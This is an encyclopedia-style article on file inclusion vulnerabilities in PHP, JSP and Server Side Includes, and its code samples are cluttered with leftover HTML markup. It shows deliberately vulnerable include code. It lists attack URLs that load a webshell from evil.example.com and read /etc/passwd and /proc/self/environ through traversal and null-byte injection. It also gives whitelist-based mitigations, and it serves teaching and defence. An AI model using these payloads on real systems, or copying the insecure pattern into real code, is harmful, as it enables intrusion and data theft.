File inclusion vulnerability
Type of web vulnerability
- 5 min read
- 2 chapters
Related on Lably
Through World Wide Web, Web application and Execution (computing)
Types of Inclusion
Remote file inclusion
Remote file inclusion (RFI) occurs when the web application downloads and executes a remote file. These remote files are usually obtained in the form of an HTTP or FTP URI as a user-supplied parameter to the web application.
Local file inclusion
Local file inclusion (LFI) is similar to a remote file inclusion vulnerability except instead of including remote files, only local files i.e. files on the current server can be included for execution. This issue can still lead to remote code execution by including a file that contains attacker-controlled data such as the web server's access logs.
Sign in to keep reading
One more chapter is free with a Lably account.
Programming languages
File inclusion vulnerability primarily happens on programming languages that rely on dynamic inclusion of files, such as PHP and JavaScript. These languages are interpreted, rather than compiled. Languages that use file inclusion for including libraries, such as C and C++, do not necessarily suffer the same kind of vulnerability, due to being handled through preprocessing rather than dynamically. However, they are still vulnerable through path traversals by fopen() and buffer overflows.
PHP
In PHP the main cause is due to the use of unvalidated user-input with a filesystem function that includes a file for execution. Most notable are the include and require statements. Most of the vulnerabilities can be attributed to novice programmers not being familiar with all of the capabilities of the PHP programming language. The PHP language has a directive which, if enabled, allows filesystem functions to use a URL to retrieve data from remote locations. The directive is allow_url_fopen in PHP versions <= 4.3.4 and allow_url_include since PHP 5.2.0. In PHP 5.x this directive is disabled by default, in prior versions it was enabled by default. To exploit the vulnerability an attacker will alter a variable that is passed to one of these functions to cause it to include malicious code from a remote resource. To mitigate this vulnerability all user input needs to be validated before being used.
Example
Consider this PHP script which includes a file specified by request:
<span id="mwQg"></span><span class="cp" id="mwQw"><?php</span> <span class="k" id="mwRA">if</span> <span class="p" id="mwRQ">(</span><span class="nb" id="mwRg">isset</span><span class="p" id="mwRw">(</span><span class="nv" id="mwSA">$_GET</span><span class="p" id="mwSQ">[</span><span class="s1" id="mwSg">'language'</span><span class="p" id="mwSw">]))</span> <span class="p" id="mwTA">{</span> <span class="k" id="mwTQ">include</span><span class="p" id="mwTg">(</span><span class="nv" id="mwTw">$_GET</span><span class="p" id="mwUA">[</span><span class="s1" id="mwUQ">'language'</span><span class="p" id="mwUg">]</span> <span class="o" id="mwUw">.</span> <span class="s1" id="mwVA">'.php'</span><span class="p" id="mwVQ">);</span> <span class="p" id="mwVg">}</span> <span class="cp" id="mwVw">?></span><span id="mwWg"></span><span class="p" id="mwWw"><</span><span class="nt" id="mwXA">form</span> <span class="na" id="mwXQ">method</span><span class="o" id="mwXg">=</span><span class="s" id="mwXw">"get"</span><span class="p" id="mwYA">></span> <span class="p" id="mwYQ"><</span><span class="nt" id="mwYg">select</span> <span class="na" id="mwYw">name</span><span class="o" id="mwZA">=</span><span class="s" id="mwZQ">"language"</span><span class="p" id="mwZg">></span> <span class="p" id="mwZw"><</span><span class="nt" id="mwaA">option</span> <span class="na" id="mwaQ">value</span><span class="o" id="mwag">=</span><span class="s" id="mwaw">"english"</span><span class="p" id="mwbA">></span>English<span class="p" id="mwbQ"></</span><span class="nt" id="mwbg">option</span><span class="p" id="mwbw">></span> <span class="p" id="mwcA"><</span><span class="nt" id="mwcQ">option</span> <span class="na" id="mwcg">value</span><span class="o" id="mwcw">=</span><span class="s" id="mwdA">"french"</span><span class="p" id="mwdQ">></span>French<span class="p" id="mwdg"></</span><span class="nt" id="mwdw">option</span><span class="p" id="mweA">></span> ... <span class="p" id="mweQ"></</span><span class="nt" id="mweg">select</span><span class="p" id="mwew">></span> <span class="p" id="mwfA"><</span><span class="nt" id="mwfQ">input</span> <span class="na" id="mwfg">type</span><span class="o" id="mwfw">=</span><span class="s" id="mwgA">"submit"</span><span class="p" id="mwgQ">></span> <span class="p" id="mwgg"></</span><span class="nt" id="mwgw">form</span><span class="p" id="mwhA">></span>
The developer intended to read in english.php or french.php, which will alter the application's behavior to display the language of the user's choice. But it is possible to inject another path using the language parameter.
/vulnerable.php?language=http://evil.example.com/webshell.txt?- injects a remotely hosted file containing a malicious code (remote file include)/vulnerable.php?language=C:\\ftp\\upload\\exploit- Executes code from an already uploaded file calledexploit.php(local file inclusion vulnerability)/vulnerable.php?language=C:\\notes.txt%00- example using NULL meta character to remove the.phpsuffix, allowing access to files other than.php. This use of null byte injection was patched in PHP 5.3, and can no longer be used for LFI/RFI attacks./vulnerable.php?language=../../../../../etc/passwd%00- allows an attacker to read the contents of the/etc/passwdfile on a Unix-like system through a directory traversal attack./vulnerable.php?language=../../../../../proc/self/environ%00- allows an attacker to read the contents of the/proc/self/environfile on a Unix-like system through a directory traversal attack. An attacker can modify a HTTP header (such asUser-Agent) in this attack to be PHP code to exploit remote code execution.
The best solution in this case is to use a whitelist of accepted language parameters. If a strong method of input validation such as a whitelist cannot be used, then rely upon input filtering or validation of the passed-in path to make sure it does not contain unintended characters and character patterns. However, this may require anticipating all possible problematic character combinations. A safer solution is to use a predefined Switch/Case statement to determine which file to include rather than use a URL or form parameter to dynamically generate the path.
Jakarta Server Pages (JSP)
Jakarta Server Pages (JSP; formerly JavaServer Pages) is a scripting language similar to PHP but running on Java which can include files for execution at runtime.
Example
The following script is vulnerable to a file inclusion vulnerability:
<span id="mwtQ"></span><span class="k" id="mwtg"><%</span> <span class="w" id="mwtw"> </span><span class="n" id="mwuA">String</span><span class="w" id="mwuQ"> </span><span class="n" id="mwug">p</span><span class="w" id="mwuw"> </span><span class="o" id="mwvA">=</span><span class="w" id="mwvQ"> </span><span class="n" id="mwvg">request</span><span class="p" id="mwvw">.</span><span class="na" id="mwwA">getParameter</span><span class="p" id="mwwQ">(</span><span class="s" id="mwwg">"p"</span><span class="p" id="mwww">);</span> <span class="w" id="mwxA"> </span><span class="nd" id="mwxQ">@include</span><span class="w" id="mwxg"> </span><span class="n" id="mwxw">file</span><span class="o" id="mwyA">=</span><span class="s" id="mwyQ">"<%="</span><span class="n" id="mwyg">includes</span><span class="o" id="mwyw">/</span><span class="s" id="mwzA">" + p +"</span><span class="p" id="mwzQ">.</span><span class="na" id="mwzg">jsp</span><span class="s" id="mwzw">"</span><span class="k" id="mw0A">%></span>" %>
/vulnerable.jsp?p=../../../../var/log/access.log%00- Unlike PHP, JSP is still affected by Null byte injection, and this parameter will execute JSP commands found in the web server's access log.
Server Side Includes (SSI)
A Server Side Include is very uncommon and are not typically enabled on a default web server. A server-side include can be used to gain remote code execution on a vulnerable web server.
Example
The following code is vulnerable to a remote-file inclusion vulnerability:
<span id="mw3w"></span><span class="cp" id="mw4A"><!DOCTYPE html></span> <span class="p" id="mw4Q"><</span><span class="nt" id="mw4g">html</span><span class="p" id="mw4w">></span> <span class="p" id="mw5A"><</span><span class="nt" id="mw5Q">head</span><span class="p" id="mw5g">></span> <span class="p" id="mw5w"><</span><span class="nt" id="mw6A">title</span><span class="p" id="mw6Q">></span>Test file<span class="p" id="mw6g"></</span><span class="nt" id="mw6w">title</span><span class="p" id="mw7A">></span> <span class="p" id="mw7Q"></</span><span class="nt" id="mw7g">head</span><span class="p" id="mw7w">></span> <span class="p" id="mw8A"><</span><span class="nt" id="mw8Q">body</span><span class="p" id="mw8g">></span> <span class="cm" id="mw8w"><!--#include file="USER_LANGUAGE"--></span> <span class="p" id="mw9A"></</span><span class="nt" id="mw9Q">body</span><span class="p" id="mw9g">></span> <span class="p" id="mw9w"></</span><span class="nt" id="mw-A">html</span><span class="p" id="mw-Q">></span>
The above code is not an XSS vulnerability, but rather including a new file to be executed by the server.